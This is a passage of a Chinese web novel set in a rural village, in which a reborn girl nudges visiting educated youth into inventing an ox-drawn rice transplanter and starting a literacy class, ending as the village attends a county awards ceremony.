原先药房收蚂蝗，他们还抓这些东西，现在没人收了，都是直接扔到看不见的地方去。 蚂蝗又捏不死，用石头砸都得砸好久，想要快速处理掉，就只能用盐，谁家也没有这么多的盐去糟蹋。 钟莹莹不在家的时候，大人干活钟新澄就四处跑着玩，现在钟莹莹回来了，怕他继续欺负隔壁家傻孩子，给他拘着也下地干了活。 他人小，插秧不稳，就拎着秧苗到处撒，半天下去，竟真让他丢了不少。 像他这般大的孩子，一般干一天，也就只给一个公分。 钟莹莹一边插秧，一边起身望一下自己已经插好的秧苗，沉浸在自己的杰作当中。 知青五人组由于刚到，村里人觉得他们干不好活，就给他们安排在了孩子边上，意思是能干多少干多少，总不能连几个孩子都不如。 “啊～有蚂蝗……”知青组那边突然传来惊叫声。 是一个男生，钟莹莹记得他叫什么，徐超。 此刻他正在疯狂甩动手臂，上蹿下跳，企图将牢牢吸附在他胳膊上的正在蠕动着吸血的生物拽下来。 “不要拽，越拽越紧，你拍一拍胳膊，它自己就掉下来了。”钟莹莹好心提供解决办法。 陷入癫狂的徐超却顾不得这些，还在一门心思的疯狂甩动胳膊。 最后是周岱给人强行控制停住，用力拍打他的胳膊，给蚂蝗拍下来了。 “呼～这也太可怕了～”李莉莉有点想流泪，她是四人组里唯一的女生，昨天一到就开始想家，今天更想了。 “有没有什么办法能不用下田就把秧给插上啊。”孙伟感慨道。 在家里他们何时干过这种活，要不是头脑一热，说是要报效祖国，报名了下乡，哪里需要吃这苦。 “周岱，你是学机械的，这玩意能做吗？”张强眼睛里写满了渴望，他真的不想插秧啊。 夏天的空气又闷又热，头顶的太阳照到人身上，皮肤火辣辣的。 全身的毛孔都在冒汗，唯一清凉一点的地方，就是脚下的泥水。 可是水里有虫子啊，还是会咬人的蚂蝗。 光滑无毛，会蠕动，吸住人就拽不下来，要是不注意，不知道会不会钻进人的皮肤里去，然后在肉里产卵孵化，最后一整个人皮下全身蚂蝗。 张强被自己的想象给吓到了。 以前他就听说过，有人吃了没煮熟的河蚌，身上寄生的全是蚂蝗，家里人喊他他没声音，一拍他肩膀，他头就掉了，断掉的脑袋里面全身密密麻麻蠕动的蚂蝗。 他想回家，他不想干了。 “不知道。”周岱也很累。 “收工可以试一下，大家一起想办法。”他来下乡不是来种田的，是真真切切抱着想在农村做出一番事业来的。 农民世世代代都在种地，随便哪一个甚至拎出来一个孩子都要比他们种的好，那为什么还要他们这些人下乡呢？当然是为了互补，农民有实践没知识，他们空有知识，没实践。 他们的强项在于他们的文化，他们有知识。知识能改变命运，将知识传授给农民，提高他们的生产效率，才是他们该做的。 知青组的事情提醒到了钟莹莹，想要不下田插秧还真有办法，做一个畜力牵引插秧机就行。 前世的村子里就用过这玩意，她记得大概的雏形，让她去造却是造不出来的。 如果这群知青是干实事的，到时候可以提醒一下，给他们指引一个方向。 她记得，那玩意好像有个牵引架，还有个轮子，秧苗箱，还有个分秧器，前几个貌似都挺简单的，最后一个是啥样的来着…… “哈哈哈～姑姑～你看他们像不像大傻子～”钟新澄跳进田里，水花四溅，溅了钟莹莹一身泥水。 他才五岁，都不怕那玩意了，还大人呢，真丢脸。 钟莹莹被熊孩子给打断思路，在衣服上擦擦手，抹掉脸上的泥水，脸上露出阴测测的笑容，零桢起手，抬手就是一巴掌拍人屁股上了。 “谁让你往水里跳的，啊～，咱俩衣服裤子弄的都是泥，今天回家我给你娘说，非得让你自己洗衣服。” “还嘲笑人家，一点礼貌都没有，昨天还说自己要当好孩子呢，今天又忘了？” 钟新澄笑不出来了，现在他直想哭，昨天刚挨了揍，怎么今天他又忘了呢？他姑姑不是好惹的。 姑姑啥时候开学啊，他有点怀念姑姑不在的时候了。 第30章 “木木又干什么了？”钟明月下了工回来，就见钟新澄撅着个小屁股，蹲在哪里洗衣服。 小嘴巴也撅着，一看就知道是被罚了。 “我插秧，他玩跳水坑，溅我一身水。”钟莹莹先声夺人的告状。 钟明月一边用清水冲洗身上的泥巴，一边忍俊不禁：“那是该罚。” 这俩孩子可有意思了，小的那个像个皮猴子，不管能上天。 她和钟绍华没有带娃的经验，钟莹莹小时候很乖，还是第一次遇见这样的。 陈显英和钟伟先又对这唯一的大孙子尤为溺爱，这孩子可不就被娇惯的无法无天。 偏生钟莹莹爱管着他，一物降一物，钟新澄被盯的死死的。 陈显英和钟伟先想要劝说，但小女儿大孙子，偏帮哪一个都不好，索性也放开手不管了。 而且小女儿的管教是很有效果的，每次她放假的时候，都是大孙子最讲礼貌，最懂文明的时候。 至于钟新澄之前玩死那些昆虫，陈显英只当作小孩子调皮。 最严重的也就只有那次骗楚家小傻子，跳水，让钟莹莹给大揍一顿，柳条都打折好几根。 他们也不敢管，属实是他太过分，那水边是能随便去的吗？ 渐渐地，钟新澄的教育就全部移交到了钟莹莹身上，大人只能在边上看着。 邻居看见也只会夸一句：“嘿，莹莹这小丫头厉害啊～不亏是书读的那么好，还能教育侄子了，以后指定是当大学生的料。” “那几个知青还不错，今天第一天干活都赶上咱家莹莹了。”钟伟先一边喝稀饭，一边感慨道。 陈显英没好气的白了他一眼：“跟孩子比还叫不错啊？” “起码态度是端正的，没有偷奸耍滑头。” “也确实。” 虽然干活的速度慢，中间还出了很多小插曲。 但是每一个秧苗都是认认真真插进地里的。 “听说他们要搞那什么插秧机？文化人就是不一样。”钟绍华又开始感慨了，要是他当年好好读书，是不是也有机会考大学。 考上大学，是不是也能有那么高的学问，会做机器。 “做不做的成还不一定呢。咱乡下啥都没有，拿什么做？”钟伟先不是很看好他们。 钟莹莹一边扒饭，一边听家里人闲聊，听到这里，她忍不住插嘴：“能做的，搞个机器不就行了吗？把东西绑在牛身上，让牛拉着往前走，一边走一边插秧。” “你还挺懂，书没白读啊！”钟伟先只当是孩子的异想天开，并没有放在心上。 知青院里也挺忙，下了工没人做饭，又是拿包袱里的肉干点心对付一顿。 “这样下去不行啊，我们不能天天这样吃。”徐超受不了了，来这两天，一顿正经饭都没吃着。 “要不，我们轮流做饭？”周岱提议道。 “我觉得可以。”李莉莉十分赞同。 最后定下一人一天，轮着来。 “今天那个插秧机，你们什么想法，说出来我们集思广益一下。”周岱率先发言。 “我觉得吧，这个机器得做成可以手动操作的，这里也没电，电动的也使不了。” “烧油的，这边人也用不起。” “对，是得这样。” “最好是用牛或者骡子拉的那种。” 几个人七嘴八舌的讨论着。 最后周岱总结了一下，画了一个草图出来，但总感觉哪里不对，按照那个图上的，也就是把站着插秧改成了坐在牛车上由牛拉着插秧。 还是得人跟着一起下地，并没有省力到哪去。 吃完饭，他去钟家还筐子还在想这件事。 昨天借了柴和筐，有点不够用，钟伟先让他多扯几筐回去，免得借来借去。 等插秧季结束，他们以后用柴，去沟边割些杂草，在外面晒干，拿回去烧就行。 夏天这边捡不到树枝*树叶，等到秋天才能捡小树枝，拿钉耙搂树叶子。 到时候收了粮，稻杆也是很好的生火材料，干活的人家都能分。 他们这没山，没法砍柴，村里的树也不是私人能随随便便砍的。 平常做饭只能烧秸秆或者小树枝树叶啥的。 “哥哥，你们能做出来插秧机吗？”钟新澄记吃不记打，又凑到周岱面前去。 “不知道，正在想呢。”周岱也很实诚，问啥答啥。 “你们想到哪里了啊？”钟莹莹想知道进度，然后看看能不能提醒两句。 “我们想的是做个机器，秧苗放在上面，牛拉着走，边走边插秧” “人手动插？”钟莹莹疑惑，这叫什么插秧机？ “也不对，是想做个机器自动插来着，但是具体还不知道怎么做。”周岱陷入迷茫。 学校也没教他们如何自己创造机器。 钟莹莹状似天真的提起：“跟着轱辘转，一上一下，是不是就可以自动了啊？” 跟着轱辘转？一上一下？周岱悟了。 做个行走轮和秧苗箱，然后通过旋转或者摆动，将秧苗分离成单株，再加上个插秧爪，控制深度，最后做个浮板，跟着泥水深度浮动，再加个导向尾轮，防止机身侧向偏移。 这简直不要太完美了。 想法已经有了，他要抓紧回去把图纸绘制出来，然后找村长要零件，尽快把东西做出来。 这样就不用再下地插秧了。 “谢谢你啊，小妹妹。”周岱走的很急，他已经迫不及待了。 插秧机作为他的首秀作品，以后拿回学校，一定能让老师大吃一惊。 这才是真正的从群众中来，到群众中去。 钟莹莹深藏功与名。 这些知青在他们这做出东西来，受益的是他们村的人。 钟莹莹自然想尽最大的可能给予知青帮助，同时也是最大程度的利用这些知青的价值，而不是让他们白白的把时间浪费在再怎么努力，也就那样的农活中。 死劫已过，钟莹莹不仅想要家人活着，还想要他们一天比一天过得好。 钟新澄那个小崽子还是要继续再教育的，性子还没彻底稳定，大棒加大枣，慢慢调教，钟莹莹相信，会好的。 读了初中之后，钟莹莹在村里大小也算个文化人。 过年的春联现在都是她执笔，她爹退位让贤了。 村长虽然跟着镇上的扫盲学习班学习了一段时间，字识了不少，但是，到底没经过系统的学习。 在真正的文化人面前，还是显得有些胆怯。 当几个知青去村长那里要资金和材料，说是要做插秧机时，他拿不定主意，又来找钟伟先了，他爷爷说了，多听钟家人的话，他是贯彻他爷爷的指令。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 “图纸都画好了？”钟伟先很惊讶。 原本以为这群年轻人就是随口一说，没想到动作这般快。 看着村长递过来的图纸，上面精细到零件的尺寸都标的很清楚，钟伟先大致能看懂一些，还真有些搞头。 “我觉得能干。”钟伟先肯定道。 “那我就从村里的账上给他们支钱了，零件有点麻烦，村里也没有，得去农机站领，人家不一定愿意给。”这年头，有钱也不好办事。 “看看还有没有别的办法吧，真要造出来了，咱们村肯定能拿一年的先进。”前几年的先进都让吴家村拿了，那个窑厂产值，拍马也赶不上。 村长去农机站找人，果然碰了一鼻子灰。 没办法，几个知青决定是废品站碰碰运气，村长给拿了钱。 木头什么的都好找，村里有，关键的零件，轴承，必须得是金属的，木制的磨损的很快，用不了几次，就得换新的。 几个知青请假两天去废品站淘宝，钟莹莹带着好大侄跟着蹭上车，熊孩子好几天没作妖，说好的奖励该给了。 破旧的废品站，简直像一个巨大的垃圾场，断裂的车轮、废弃的铁片、铁丝、还有汽水瓶盖、烂木头…… 钟新澄在里面玩嗨了，这里扒拉扒拉，那里扒拉扒拉，感觉这个也好玩，那个也好玩，全都是新鲜玩意儿。 把一开始的要去供销社买吃的，给忘到九霄云外去。 周岱挑了很多铁制品，其中就有几个生锈的轴承，样子不大好看，修整一下应该还能使用。 他们只要能验证图纸的正确性，就可以向上审批材料，不用到处求爷爷告奶奶的，还被人拒绝。 钟莹莹淘了一大堆的旧书，不是什么违禁物品，就是纯粹的旧书，别人家不要了清理出来的。 她家她之前上学的书本和卷子都留的好好的，等到钟新澄上学，就不用买了，可以直接用她的，省下一笔课本费。 这小崽子，也该上学了，就从这个暑假开始，给他补课，多补点，等到开学发现老师讲过的，都是学过的，也不会对上学再那么排斥。 在回去之前，钟莹莹还是带着钟新澄去供销社买了两瓶汽水，还有一大包板栗糕。 钱是陈显英给的，平常她上学，兜里揣的生活费也不少，没花完的都攒着呢。点心票是和知青换的。 给孩子乐的都快找不着北了，那小嘴比蜜还甜，一口一个：“姑姑，等我长大会好好孝顺你的。” 缺牙的笑容，一点看不出前世的阴狠毒辣。 还记得上辈子，由于他家邻居在自家院子里的房子后墙处开了个窗户，正对着钟新澄家，这家伙表面祥和，私底下请人埋了剪刀动了邻居风水，还在人家祖坟搞破坏，那个邻居没两年就得癌症了。 钟新澄之前和这个邻居关系很好，因为他造房子的时候，地基不够大，邻居给他让了将近一米多的地基。就算如此，邻居一侵犯到他的‘利益’后，他也立马翻脸不认人。 钟莹莹觉得自己不能放松警惕，小崽子表现的再可爱都不行，教化之路，任重而道远。 回到家之后，姑慈侄孝立马就变了。 “木木，这个字怎么念？我刚刚教过你的。”怪不得当老师秃头快，谁教孩子功课谁懂啊，教十遍都记不住，还给你嬉皮笑脸。 什么快乐教育，快乐不了一点。 还是大棒加大枣比较实在一点。 不认真学习，挨了一顿手板的钟新澄在角落里哭泣，抽抽嗒嗒的好不可怜。 钟莹莹决定放过自己，也放过他，自己就不适合教学。 还是请人来教吧。 那群知青就挺合适。 镇上的扫盲班，只是让村干部过去听讲，他们村现在除了村长，还有各家的孩子，大部分的成人，还是文盲。 知青干活不行，扫盲应该能行。 办了扫盲班，把小崽子送进去，先认得两个字再说。 秧田还没插完，扫盲班的事不急于一时，现在开办，村里人也没心情参加。劳作了一整天，回家只想吃了饭洗了澡睡大觉。 那几个知青也就刚来，等时间久了，天天干活，迟早会被磨平锐气，变得像村民一样麻木，得让他们一直保持激情，才能给村里创造更大的价值。 …… “看，这几个小年轻又在倒腾那插秧机。” “也不知道胡闹个什么？” “对啊，咱们活了这么多年，也没见过能自动插秧的机器啊～” “村长也陪着他们胡闹，可怜伟先家那头老黄牛了～” 自制的简易插秧机在田里一次又一次的散架，重组，老黄牛也累的闹脾气，蹄子一撂，不干了。 “咱们真的能行吗？”徐超已经开始自我怀疑，失败太多次，他没信心了。 “一定能行，这不快要成功了吗？”李莉莉捏紧拳头给自己打气。 做出成就，他们就能带着功绩回城。 做不出来，灰头土脸的回城，她做不到。 “等成功了，我要投稿给报社。”李莉莉一脸向往，虽然创造者不是她，但是她也帮忙干了很多后勤工作，参与感很足。 她是汉语言专业的，对于机械可以说一窍不通，凭借着一腔热血，报名下乡。 枪杆子不行，笔杆子行。 等登报了，家里人都能看见，一定会以她为荣的。 “那到时候记得多夸夸我们，也让我们长长脸。”孙伟不想打击她，跟着打趣道。 周岱没心思和他们闲扯，满门心思在机器上，一次次的失败，现在只剩下插秧爪上的问题，这部分由曲柄连杆控制，上下插入泥土，插入后自动张开释放秧苗。 他们的插秧爪插入泥土后，释放秧苗后该拔出来了，有时会把已经插好的秧苗给连带出来，相当于白费功夫。 到底为什么呢？ 钟莹莹知道啊，形状不对，前世的插秧爪，是那种鸭嘴式的设计，一张一合，不会有夹带风险。 周岱用的是圆锥式的，插进泥土很方便，拔出来也很方便，怎么插的怎么拔出来，秧苗自然也跟着一块带出来了。 不能直接说，怎么能提醒他呢？ 看着村里在鱼塘里嘎嘎乱叫的鸭子，钟莹莹心生一计。 第32章 钟莹莹决定亲自下场了。 再等着他一个个的试，估计插秧季都过去了他也做不出个成果来。 虽然说实验需要时间，但是他们缺的就是时间，既然有条件能缩短研究时长，为何不做呢？ “木木，想吃鸭子不？”钟莹莹拍拍好大侄的肩膀，嘴角露出一丝不怀好意的笑容。 “想。”酸萝卜老鸭汤，鲜的人流口水。 “那你去抓个鸭子，我让娘给你做。” “真的？”钟新澄吸溜一口嘴里快要溢出来的口水。 “真的。”钟莹莹肯定道。 “那我去了，姑姑你不要骗我哦。” 说完，小胖屁股一扭一扭的就赶鸭子去了。 天色有点晚，鸭子都从鱼塘李爬上来，正往家里走呢。 钟新澄这么一闹，顿时鸭飞鸭跳。 小鸭子跑的到处都是。 知青们折腾的那块试验田里也跑进去几只。 钟新澄不想下水，转而又去追其他鸭子了。 跑进稻田的鸭子，见风平浪静，竟然低头开始啄食知青们没成功种植的幼嫩秧苗。 “走开，死鸭子。”孙伟怒斥道。 好不容易问村民要来的秧苗，试验还没弄明白呢，可不能让这鸭子给吃了。 鸭子？看着鸭子不断啄食秧苗。 周岱忽然灵机一动，他知道失败在哪里了。 顾不得同伴，他飞奔回知青院，取出几块竹子就开始用刻刀削，没几下就锉出来自己想要的形状，然后又迅速返回地里。 “你干嘛去了？刚刚叫你也不应。”这人简直是着了魔了。 “我知道该怎么改了，你看。” 周岱将圆锥形的插秧爪给取下来，把自己刚做的新的插秧爪给按上去，然后在秧苗箱里放上秧苗，挥鞭赶牛。 随着牛前进的脚步，轮轴不断的转动，秧苗被一颗颗牢固的插在泥土里，再也没有出现像之前那样，随着插秧爪，被插进去，拔出来。 “我们成功了？” “你也太厉害了吧！”孙伟简直不敢置信，他们这插秧机还真成功了。 “快，多放点秧苗，测试一下效率。” 随着老黄牛的不断行进，他们大概估测了一下，一个小时约莫能插将近一亩的田。 这可是一个非常了不得的数据了。 要知道，一个熟练的老农插一亩田，也得要接近两天的时间。 现在只要一头牛，一个插秧机，算上牛的休息时间，一天下来，起码能插五亩地。 就算全村人都闲着，仅仅靠一头牛，半个月的时间，也能把所有地的秧都给插完了。 “快去找村长。”徐超喜不自胜，立马就要去报喜。 李莉莉也高兴的很，她的文章早早的就写好了，就等着周岱成功了，她去镇上邮寄投稿呢。 “真的成功了啊？”村里好多人都不相信。 等到真的见过老黄牛种的地，他们服了。 并发自内心的感概，文化人和文盲就算不一样，要是照他们，打死也做不出这插秧机来。 得知周岱终于把插秧机做出来，钟莹莹松了一口气，再想不明白，她真的要去当面点明了。 她只想当一个普通人，出风头的事情还是交给别人去做吧。 钟家的晚饭吃的是酸萝卜老鸭汤，钟新澄没抓到鸭子，但是可怜的鸭子在回到家后，还是被宰了一只。 满满一大锅鸭子汤，钟伟先分了半锅送到知青院去。人家辛辛苦苦给自己村做贡献，总不能让人白忙活。 村里之前那些说闲话的人，不约而同也送了吃食过去。 他们也想用那插秧机，有更方便的东西，谁还愿意自己蹲那一颗颗插啊，腰都要累断了。 “嗬～这是什么好日子，鸡鱼肉蛋全都有了！”张强忍不住感概道。 想当初，他们刚来钟家岗的时候，连把柴火都得去借。 现在却是翻身农奴把歌唱了。 破烂的小桌上，有酸萝卜老鸭汤，有红烧鲫鱼，有炒鸡蛋，有蒸腊肉，连小菜都给准备好了，钟家岗特产，泡椒笋片，还有人送了香喷喷的大米饭。 “同志们，我要开动了。”李莉莉端着碗，脸上满是笑容。 下乡真好啊，有这么多好吃的。 她已经忘记前几天还在质问自己，为什么头脑发热报名下乡了。 五个人在一块吃吃喝喝，好不快乐。 这一顿是他们从小到大，吃过的最满足的一顿饭。 即使可能不如家里的精致，但是里面的心意却让他们感动。 这还是他们第一次凭借着自己的努力，获得到的别人的认同。好吧，大部分还是凭借着周岱的专业知识。 接下来的时间里，周岱用之前从废品站搞来的材料，又做了一个插秧机。 村里只有一头牛，这个插秧机就只能用人力来拉。 两三个人拉一个机器，中间累了再换一批人。 饶是如此，钟家岗的插秧速度，也远远甩其他村子一大截。 插完秧，村长大手一挥，让陈显英给知青们全部登记成了满公分，就连刚来那几天的仨瓜俩枣，都改记成了满公分。 无人反对。 李莉莉的投稿已经寄到了报社，为了能有更大的概率被选中，她几乎投了所有她知道的报刊杂志。 村长在村子里的秧苗插的七七八八的时候，就把知青发明了插秧机的事情上报了，镇上来人考察了一下，带走了一台机器。说是拿到上面，进行研究，之后会有奖励发给知青还有钟家岗。 附近村子的人知道这件事后，纷纷过来借用钟家岗的插秧机。 窑厂的人拿砖头抵账，自己出零件，让知青们给他们做了一个。 其他村子的没有这般大气，就轮流过来借着用。 这个夏天，可以说是他们度过的最愉悦的一个插秧季。 只需要搬个小板凳坐在秧母田里把秧苗拔出来，放到插秧机里，老黄牛就能拖着插秧机自动插秧，再也没有比这更美好的事情了。 插秧的事告一段落，钟莹莹开始琢磨起扫盲班的事。 闲着也是闲着，钟莹莹只想说，都给我卷起来。 少壮不努力，老大贫困县。 都姓钟，不能有一个拖后腿的。 现在大家正是对这几个知青充满好感的时候，此时不提，更待何时。 和记公分一样，办扫盲班的事，全村全票投票通过。 第33章 第一节课教的就是通用字。 村里人不多，基本上能来的都来了，傍晚在晒谷场上支了一块小黑板，一个字一个字的教学。 第一个学的就是‘钟’字，金字旁，加上中正的中。 “这个字的寓意很好，可以组成钟表、钟一等词，还有人知道其他词的吗？”李莉莉声音很柔和，耐心引导。 “我知道，红中的中。” “哈哈哈哈……” 众人一阵哄笑。 以前村里人闲了爱打麻将和叶子牌，这两年不允许玩那个了。 “红中的中和钟家岗的钟不是同一个，你看啊……”说着李莉莉拿起粉笔在黑板上一笔一划的写出两个字。 “钟家岗的钟，有偏旁，红中的中没有。” “原来是这样。” “那小李老师，你给讲讲，我们的名字该怎么写？” 村里有啥事，需要签字的，因为不识字，他们都是按手印。 还有个顺口溜“豆粒当工账本，看信满庄跑，生产老一套，书报无人望。” 随着识字的人越来越多，按手印就显得有点老土。 以前是没钱上学，现在有人给免费扫盲，占便宜的事，还有啥不满意的。 他们拿着孩子的作业纸，让李莉莉把他们的名字分别给写在纸上，回家后在地上用手指一笔一划的练习。 “嗬……我也能会写自己的名字。” “俺也识字了！” 老楚家的孩子，楚天宝也被带到的课堂上。 那孩子虽然脑子不太好，但是上课的时候安静的很。 李莉莉讲课他就在下面玩手指，听不听的懂不知道，乖是很乖的。 楚琳琳不上学了，就像他的小跟班，弟弟走到哪里跟到哪里。 钟莹莹也很感慨，这孩子上辈子是没了的，也不知道强行留下他是对是错。 但是转念一想，自家爹娘现在都活得好好的，人定胜天，没有什么是不能改变的。 她细细的观察了一下，这孩子好像并不是完全傻的。 起码他知道自己吃饭，上厕所。 就是动作比别人慢个五六七八个拍，有点跟不上节奏。 细心调教一下，生活自理应该没问题。 村里一片欣欣向荣的景象。 芦苇荡那边的地，又要种大豆了。 村里人都围着知青，问有没有能将大豆也自动播种的。 还真的有，且技术含量没有水下插秧那么高。 这次没用钟莹莹提醒，周岱就造出了播种机。 翻好的地，在细耕的时候，从耕地的螺旋桨处将豆种漏下去，避免了人工撒种的繁琐。 经此一战，知青们彻底稳定了在村里的地位。 钟新澄最近老往知青院跑。 这孩子要是想讨好谁，嘴甜的不得了，知青院的知青一个个都沦陷了。 胖嘟嘟、肉乎乎的小娃娃，扬起小脸，乖乖的喊：“哥哥、姐姐。” 还会帮人干活。 任谁都想捏捏他的小脸蛋，再给他的小裤兜里塞一把糖果。 他最黏的是周岱。 在他看来，周岱很厉害，做出了很多村里没有的东西，还会用锉刀做竹蜻蜓给他玩。 他也想跟着他学做这些有意思的东西。 他不喜欢读书，也不喜欢学习，但是动手组装东西，过家家那可太有意思了。 “哥哥，你怎么这么厉害，啥都会吖？”钟新澄一脸崇拜的望着周岱。 “哥哥在大学跟老师学的。” “等你上学了，也要认真学习，认真学习才能考上大学。”周岱没有停下手中的活计，这都是附近几个村子委托他做的，不能买卖，他们就通过发奖金来给知青送钱。 另外四个人没有周岱的专业技能，只能帮着打下手，给递工具，清理垃圾，送水，帮忙依葫芦画瓢，组装比较简单的零件。 插秧机送上去之后，县里就给了很多之前要不来的金属零件。 他琢磨着用这些东西再造些别的东西出来。 乡下的生活实在是太苦了。 晚上天一黑就要睡觉，没有电灯，也没通电。 想找点光亮，只有天上的月亮，抑或是煤油灯和蜡烛。 钟家岗的生活要好过一点，大坝对面的黄家岗才是真的惨，每逢下大雨，雨水都能渗进屋子里去。 倘若是连绵不断的雨，那更是整村都要撤离。 年年如此，运气好了，地里的作物收上来，能有点收获，运气不好，那就是颗粒无收。 大坝在那里，也不是没有修，不管拓宽多少次，动用多少挑河工，只要梅雨季，必淹。 地势低，没办法。 年年水淹，哪里能富的起来。 钟新澄不想上学，只想跟周岱学着搞发明。 钟莹莹知道后，觉得也不失为一个好的选择，不是每一个人都必须走同一条路的，条条大路通罗马，兴趣才是最好的老师。 “姑姑，我不想上扫盲班了，我想跟着周岱哥哥学手艺。”钟新澄在知青院混了一天，回家兴致勃勃的拉着钟莹莹道。 “木木，你想跟周岱哥哥学东西，也得先学认字啊，不然人家画的图纸你都看不懂。”兴趣教学，也得打好基础，起码得识字。 “不用看，周岱哥哥能看懂就行。”小家伙一派天真。 钟莹莹挑眉：“那周岱哥哥走了呢？” “我找别人给我看，姑姑你给我看。” “那姑姑上学去了呢？” “那我等你回来。” “姑姑要是去外地上学了呢？一年回来一次，你得等多久啊？” “我能等。”小家伙气哄哄的。 他也明白了，钟莹莹就是想让他上学，让他读书识字。 可读书实在是太辛苦了，他一听老师念经就想睡觉，一睡觉，老师就打他手板，手都要打肿了。 扫盲班的莉莉老师不打人手板，讲课一样让人想睡觉。 钟莹莹放大招：“楚天宝都能坐那里认认真真听课，到时候你认的字没他多，人家都会喊你文盲，大傻子。” “我才不是大傻子。”钟新澄大吼道。 他和楚天宝不一样，他让楚天宝干什么，楚天宝就干什么，楚天宝最听他的话，他是楚天宝的老大，老大不可能比不过小弟。 “不想当大傻子，小文盲，就得好好学习。” “识了字，到时候可以和周岱哥哥上同一个大学。” “大学里面可多好玩的了，还有望远镜，能看见几百米外的东西呢，你站在家里就能看见村里鱼塘里的鱼。”钟莹莹不断诱惑道。 “真的？那我要去上扫盲班。” 可算唬住这傻孩子了。 说起大学，她自己也该抓紧了，早点考过去，早点毕业，提前避开那几年动乱时期。 第34章 傍晚上扫盲班，白天没事做。 村里又开始忙活着挖渠规划水路。 现在的钟家岗，已经不用钟莹莹去苦恼村里的发展了，吃了一次甜头后，他们自己闲了就会给自己找活干，整体呈现出一种蓬勃向上的精气神。 水稻生长期间，需要灌溉控水，离河沟近的地，用铁锹给田埂挖开个豁口，就能放水，离得远的，且不经过其他田的，就只能人工担水，极其麻烦，费时费力。 今年稻秧插种的轻松，村里人有余力，就想着连同水渠一块修整了。 主渠流经村里最大的河沟，再设计若干分支，分流进每块田地，利用地势开挖土渠，辛苦这一次，方便半辈子。 渠修的好，等梅雨季，村里地势低洼的地方就不会内涝了。 搁村子里修渠，可比修大坝简单多了。 “这知青就是不一样，你瞅瞅，这图画的，一目了然。” “赶明儿得让我家孩子好好跟他们学学。” 修渠的图纸是请了知青画的，具体操作还是村民们来。 村长私底下让老楚算了一下黄道吉日，才动了第一锹。 村里没闲人，能干活的都去干了。 钟莹莹干不来那个，在家给爹娘和哥嫂做晌午饭。 菜园子里摘的黄瓜和洋柿子，拍个蒜拌一拌，让钟新澄给她烧火，和面贴了一锅玉米面饼子，贴饼子的锅底，还炒了南瓜，老南瓜烀的烂乎乎的，放盐和辣椒，用饼子蘸着吃，极为下饭。 农村的孩子就没有不会做饭的。 天天看大人做，看也看会了。 干劲十足的村里人，中午饭都是在地头吃的。 家里孩子或者媳妇做了饭，用碗盛了，放菜篮子里，盖一块布挡飞虫，再带一大罐凉白开，吃的喝的都有了。 钟莹莹装好饭，就跟钟新澄提着篮子去地里了，中途还碰到了小伙伴。 他们的饭也都在篮子里，准备拎到地头和大人一块吃。 省城的记者王明背着个公文包，带着相机和笔记本，沿着田间小路走来时，正赶上村里人休息，围坐在地头，就着自家人送来的吃食，吃饭呢。 “老乡们，省报的记者同志过来采访了，你们这是在干什么呢？”镇长高声招呼道。 “修渠呢，今年秧插的快，就寻思挖一挖渠，明年引水也方便些。”村长乐呵呵道。 “记者？咱们钟家岗这么出名了吗？” “会给咱们拍照吗？” 村里人七嘴八舌的议论着。 王明听见了，笑着扬了扬手里的相机：“接到投稿，听说咱们村的知青和乡亲们一起研究出了插秧机？我来取取经，顺便拍几张照片。” 人群顿时热闹起来，还真的给拍照啊。 城里照相馆想拍照可贵了，他们都舍不得。也不知道这记者拍照是不是免费的。 “不知道你们是咋想着要做这插秧机的呢？”问的是村民，看的却是知青。 “嗐……还不是知青同志干活慢，然后想用点轻省的法子……”老楚话还没说完，就被村长用胳膊肘杵了一肘子。 会不会说话啊，说的好像知青同志想偷懒一样。 虽然事实好像就是那样。 “王同志，这事儿得从一开始插秧的时候说起……插秧时知青们发现手工插秧太慢，就想着有没有更快更省力的方法，然后就想到了插秧机。” “图是这位知青同志画的，他叫周岱，是位顶好的同志。”不是村长当初嫌弃知青过来干活添乱，还白吃饭的时候了。 “村长谬赞，是我们大家一起努力才能做出插秧机。”周岱的脸微红，有些不好意思。 “试验田的地和牛都是村里给的，村长还从账上给划了经费，我们一次次失败，村里人也没有介怀，反而一直给予支持。” 他挠了挠后脑勺：“其他几位知青也帮了很大忙，组装调试都是大家一起完成的。” “做插秧机的木头和竹子，都是村民们赞助的。” 王明笑了笑：“你这个小同志谦虚的很啊。”不抢功，不居功，王明对他有了几分好感。 村长突然插了句嘴：“咱们村还办了扫盲班，每天都学习呢。” 镇长夸奖道：“咱钟家岗的同志都是好样的，农闲也不忘学习提升自己。” “连娃娃都是好样的。” 钟莹莹、钟新澄、楚秀秀几个孩子猝不及防被点名，惊的手里的碗差点打翻。 随即想到是在夸自己，脸上露出了灿烂的笑容。 王明眼疾手快按下快门，画面里：几个娃娃端着碗笑的露出门牙，小的那个男孩子还缺了一颗牙齿，身后是刚种完没多久，排列整齐绿油油的秧田，一派童趣自然。 既能体现出劳动人民的朴实勤劳，又能看出孩子们的生动活泼，这照片拍的好啊。 最后给钟家岗的村民和知青们拍了一张大合照，采访就算是结束了。 王明从公文包掏出个信封：“李莉莉同志，这是报社给您的表扬信，还有十块钱稿费—您投稿的那篇《论钟家岗半自动插秧机设计与实践》在省刊发表了！” 李莉莉颤抖着手接过信封，这不是她第一次拿稿费，却是下乡后第一次拿稿费，虽然十块钱对她来说不是很多，但是意义是不一样的。 镇长也笑着说：“恭喜啊。” “上面让我通知你们，本周五上午十点，全体知青和村民代表一块去县里领奖。” 县里将此事列为‘知青下乡助农典范’，还准备给钟家岗授予‘先进大队’的称号，据说还有别的奖励，但是暂时还没有公布出来。 “真的假的？咱们真的要评先进了吗？” “老万，你捏捏我，我看疼不疼。”老楚不敢置信。 他从前干活一直偷奸耍滑，这两年为了给儿子攒点家业，态度端正了不少，起码能做到和其他村民同步了。 就这他也没敢想，有一天他们村还能评先进。 隔壁窑厂多风光啊，简直像一座大山一样，死死的压在他们头顶，这次，这座大山竟然被轻而易举的挪开了。 真就像小李老师说的一样，知识改变命运，他以后要老老实实跟知青学习，要当一个文化人。 钟家的莹莹也说了，他家天宝不是傻子，就是反应比人慢，让他儿子多学学，会不会也能变得聪明？ 老楚不管了，反正今天回家一定要拘着儿子学习，闺女也不能落下。 全家人要一起进步，才是真正的先进。 周五那天，天还没亮，村长就赶着牛车，带着几个知青，和村里举手投票选出来的俩代表，往县里走了。那天被单独拍到照片里的几个孩子都被带上了。 第35章 县里的表彰大会，比钟莹莹想象的还要热闹。 大礼堂挂着红绸横幅，上面写着‘全县农业先进生产表彰大会’。 钟家岗的人坐在前排，主席台上的领导挨个念名字，钟莹莹竖着耳朵听。 